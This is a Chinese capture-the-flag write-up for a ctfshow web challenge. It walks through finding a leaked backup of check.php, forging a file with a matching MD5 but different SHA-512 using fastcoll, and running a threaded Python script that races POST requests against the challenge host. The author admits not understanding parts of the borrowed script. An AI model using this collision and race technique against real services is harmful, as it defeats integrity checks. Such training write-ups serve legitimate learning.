在开始界面点击hint得到提示信息: 打开连接得到的是一个登录界面,前面提示了不是sql注入,直接放弃尝试,查看网页源码得到信息:
<script>
function login(s){
var u=document.getElementById("username").value;
var p=document.getElementById("password").value;
var xhr = new XMLHttpRequest();
xhr.open('GET', "login.php?u="+u+"&p="+p);
xhr.responseType = 'arraybuffer';
xhr.onreadystatechange = function getPdfOnreadystatechange(e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||
xhr.responseArrayBuffer || xhr.response);
if(data){
ctfshow(s,data);
}
}
}
};
xhr.send(null);
}
function ctfshow(token,data){
var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}
</script>
发现登录信息仿佛不是很重要的信息oReq.open("POST", "check.php?token="+token+"&php://input", true); 继续查看没有发现更多的有用信息,下一步尝试使用dirsearch进行扫描: web.zip文件很有可能是网站的备份文件,解压后得到check.php.bak文件,查看文件内容:
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
发现这里是和key.dat文件进行强碰撞(内容不一样,但是两个文件的md5值相同,同时sha1值不相同) key.dat文件key直接进行下载 借助工具:fastcoll_v1.0.0.5.exe生成两个md5值相同的文件。fastcoll_v1.0.0.5.exe -p key.dat -o 1.dat 2.dat 接下来直接将1.dat或2.dat直接作为post内容上传即可碰撞成功。
import requests
import time
import hashlib
import threading
def post(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
except Exception as e:
pass
mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://ce61acc9-c947-4ac4-9d2c-3b81b8708df5.challenge.ctf.show:8080/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
data1=f.read()
with open('2.dat','rb') as f:
data2=f.read()
for i in range(30):
threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
threading.Thread(target=post,args=(data2,)).start()
直接执行上面的代码就可以成功(以上代码来自于一位大佬,有些地方我也不是很清楚) 完成这道题目后,进行了一下尝试将key.dat文件前面的Hellworld!删除掉也能成功,这就完全不知道为什么了!
|